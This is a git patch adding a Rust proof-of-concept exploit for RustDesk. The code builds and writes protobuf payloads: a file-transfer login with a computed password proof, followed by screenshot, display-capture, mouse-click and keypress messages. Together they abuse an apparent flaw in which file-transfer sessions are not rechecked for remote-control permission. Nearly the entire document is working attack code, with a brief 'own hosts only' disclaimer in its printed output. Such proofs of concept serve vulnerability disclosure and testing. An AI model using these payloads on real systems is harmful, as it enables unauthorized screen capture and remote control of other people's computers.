From afae7aeab83936a06ee2d57ee2e4e53b3e5d1786 Mon Sep 17 00:00:00 2001 From: Church of Malware <3+ek0ms@noreply.git.churchofmalware.org> Date: Mon, 29 Jun 2026 17:07:02 +0000 Subject: [PATCH] Upload files to "rustdesk-session-permission-pocs/filetransfer-scope-bypass/src" --- .../filetransfer-scope-bypass/src/main.rs | 217 ++++++++++++++++++ 1 file changed, 217 insertions(+) create mode 100644 rustdesk-session-permission-pocs/filetransfer-scope-bypass/src/main.rs diff --git a/rustdesk-session-permission-pocs/filetransfer-scope-bypass/src/main.rs b/rustdesk-session-permission-pocs/filetransfer-scope-bypass/src/main.rs new file mode 100644 index 0000000..9402a81 --- /dev/null +++ b/rustdesk-session-permission-pocs/filetransfer-scope-bypass/src/main.rs @@ -0,0 +1,217 @@ +include!(concat!(env!("OUT_DIR"), "/protos/mod.rs")); + +use anyhow::{bail, Context, Result}; +use protobuf::{EnumOrUnknown, Message as _}; +use sha2::{Digest, Sha256}; +use std::{env, fs, path::{Path, PathBuf}}; + +use crate::message as proto; + +fn main() -> Result<()> { + let mut repo_root = None::; + let mut out_dir = env::current_dir()?.join("poc_out"); + let mut peer_id = "controlled-peer-id".to_owned(); + let mut my_id = "attacker-id".to_owned(); + let mut my_name = "filetransfer-control-poc".to_owned(); + let mut password = None::; + let mut salt = None::; + let mut challenge = None::; + + let mut args = env::args().skip(1); + while let Some(arg) = args.next() { + match arg.as_str() { + "--repo-root" => repo_root = Some(PathBuf::from(next_arg(&mut args, "--repo-root")?)), + "--out" => out_dir = PathBuf::from(next_arg(&mut args, "--out")?), + "--peer-id" => peer_id = next_arg(&mut args, "--peer-id")?, + "--my-id" => my_id = next_arg(&mut args, "--my-id")?, + "--my-name" => my_name = next_arg(&mut args, "--my-name")?, + "--password" => password = Some(next_arg(&mut args, "--password")?), + "--salt" => salt = Some(next_arg(&mut args, "--salt")?), + "--challenge" => challenge = Some(next_arg(&mut args, "--challenge")?), + "--help" | "-h" => { + print_help(); + return Ok(()); + } + other => bail!("unknown argument: {other}"), + } + } + + let repo_root = match repo_root { + Some(path) => path, + None => find_repo_root()?, + }; + verify_source_reachability(&repo_root)?; + fs::create_dir_all(&out_dir).with_context(|| format!("create {}", out_dir.display()))?; + + let password_proof = match (password, salt, challenge) { + (Some(password), Some(salt), Some(challenge)) => { + Some(rustdesk_password_proof(&password, &salt, &challenge)) + } + (None, None, None) => None, + _ => bail!("--password, --salt, and --challenge must be supplied together"), + }; + + let payloads = [ + ( + "01_login_filetransfer.bin", + login_filetransfer(&peer_id, &my_id, &my_name, password_proof.unwrap_or_default())?, + ), + ("02_screenshot_request.bin", screenshot_request()?), + ("03_capture_display0.bin", capture_display0()?), + ("04_mouse_left_click.bin", mouse_left_click()?), + ("05_key_return_press.bin", key_return_press()?), + ]; + + for (name, bytes) in payloads { + let path = out_dir.join(name); + fs::write(&path, &bytes).with_context(|| format!("write {}", path.display()))?; + println!("{name}: {} bytes, hex={}", bytes.len(), hex::encode(&bytes)); + } + + println!(); + println!("PoC payloads written to {}", out_dir.display()); + println!("Use only against a RustDesk host you own/control. The sequence is:"); + println!("1. complete the normal transport/key exchange and receive Hash(salt, challenge)"); + println!("2. send 01_login_filetransfer.bin with a valid password proof"); + println!("3. after LoginResponse success, send screenshot/capture/input payloads"); + println!("The source verifier confirmed this commit accepts these post-auth messages on a FileTransfer connection without rechecking AuthConnType::Remote."); + Ok(()) +} + +fn next_arg(args: &mut impl Iterator, name: &str) -> Result { + args.next() + .with_context(|| format!("missing value for {name}")) +} + +fn print_help() { + println!( + "Usage: rustdesk_filetransfer_control_poc --repo-root --out \\ + [--peer-id ] [--my-id ] [--my-name ] \\ + [--password --salt --challenge ]" + ); +} + +fn find_repo_root() -> Result { + let mut dir = env::current_dir()?; + loop { + let candidate = dir.join("rustdesk").join("src").join("server").join("connection.rs"); + if candidate.exists() { + return Ok(dir.join("rustdesk")); + } + if !dir.pop() { + bail!("could not auto-locate rustdesk repo; pass --repo-root"); + } + } +} + +fn verify_source_reachability(repo_root: &Path) -> Result<()> { + let connection = fs::read_to_string(repo_root.join("src/server/connection.rs")) + .with_context(|| "read src/server/connection.rs")?; + let ui_cm = fs::read_to_string(repo_root.join("src/ui_cm_interface.rs")) + .with_context(|| "read src/ui_cm_interface.rs")?; + + require(&connection, "self.file_transfer = Some((ft.dir, ft.show_hidden));")?; + require(&connection, "self.authorized = true;")?; + require(&connection, "(1, AuthConnType::FileTransfer)")?; + require(&connection, "if let Some((dir, show_hidden)) = self.file_transfer.clone()")?; + require(&connection, "} else if self.terminal {")?; + require(&connection, "Some(message::Union::MouseEvent(mut me))")?; + require(&connection, "if self.peer_keyboard_enabled()")?; + require(&connection, "Some(message::Union::KeyEvent(me))")?; + require(&connection, "Some(message::Union::ScreenshotRequest(request))")?; + require(&connection, "crate::video_service::set_take_screenshot(")?; + require(&ui_cm, "allow_err!(client.tx.send(Data::Authorize));")?; + + let file_transfer_branch = connection + .find("if let Some((dir, show_hidden)) = self.file_transfer.clone()") + .context("file-transfer post-login branch not found")?; + let terminal_branch = connection[file_transfer_branch..] + .find("} else if self.terminal {") + .context("terminal post-login branch not found after file-transfer branch")? + + file_transfer_branch; + let between = &connection[file_transfer_branch..terminal_branch]; + if between.contains("self.keyboard = false") { + bail!("file-transfer branch appears to disable keyboard in this checkout"); + } + Ok(()) +} + +fn require(haystack: &str, needle: &str) -> Result<()> { + if haystack.contains(needle) { + Ok(()) + } else { + bail!("source reachability check failed, missing snippet: {needle:?}") + } +} + +fn rustdesk_password_proof(password: &str, salt: &str, challenge: &str) -> Vec { + let mut h1 = Sha256::new(); + h1.update(password.as_bytes()); + h1.update(salt.as_bytes()); + let h1 = h1.finalize(); + + let mut h2 = Sha256::new(); + h2.update(&h1); + h2.update(challenge.as_bytes()); + h2.finalize().to_vec() +} + +fn login_filetransfer(peer_id: &str, my_id: &str, my_name: &str, proof: Vec) -> Result> { + let mut ft = proto::FileTransfer::new(); + ft.dir = String::new(); + ft.show_hidden = false; + + let mut lr = proto::LoginRequest::new(); + lr.username = peer_id.to_owned(); + lr.password = proof.into(); + lr.my_id = my_id.to_owned(); + lr.my_name = my_name.to_owned(); + lr.version = "1.4.3".to_owned(); + lr.my_platform = env::consts::OS.to_owned(); + lr.union = Some(proto::login_request::Union::FileTransfer(ft)); + + let mut msg = proto::Message::new(); + msg.union = Some(proto::message::Union::LoginRequest(lr)); + Ok(msg.write_to_bytes()?) +} + +fn screenshot_request() -> Result> { + let mut req = proto::ScreenshotRequest::new(); + req.display = 0; + req.sid = "poc-filetransfer-screenshot".to_owned(); + let mut msg = proto::Message::new(); + msg.union = Some(proto::message::Union::ScreenshotRequest(req)); + Ok(msg.write_to_bytes()?) +} + +fn capture_display0() -> Result> { + let mut cap = proto::CaptureDisplays::new(); + cap.set.push(0); + let mut misc = proto::Misc::new(); + misc.union = Some(proto::misc::Union::CaptureDisplays(cap)); + let mut msg = proto::Message::new(); + msg.union = Some(proto::message::Union::Misc(misc)); + Ok(msg.write_to_bytes()?) +} + +fn mouse_left_click() -> Result> { + let mut mouse = proto::MouseEvent::new(); + mouse.mask = 1; + mouse.x = 320; + mouse.y = 240; + let mut msg = proto::Message::new(); + msg.union = Some(proto::message::Union::MouseEvent(mouse)); + Ok(msg.write_to_bytes()?) +} + +fn key_return_press() -> Result> { + let mut key = proto::KeyEvent::new(); + key.press = true; + key.union = Some(proto::key_event::Union::ControlKey(EnumOrUnknown::new( + proto::ControlKey::Return, + ))); + key.mode = EnumOrUnknown::new(proto::KeyboardMode::Map); + let mut msg = proto::Message::new(); + msg.union = Some(proto::message::Union::KeyEvent(key)); + Ok(msg.write_to_bytes()?) +}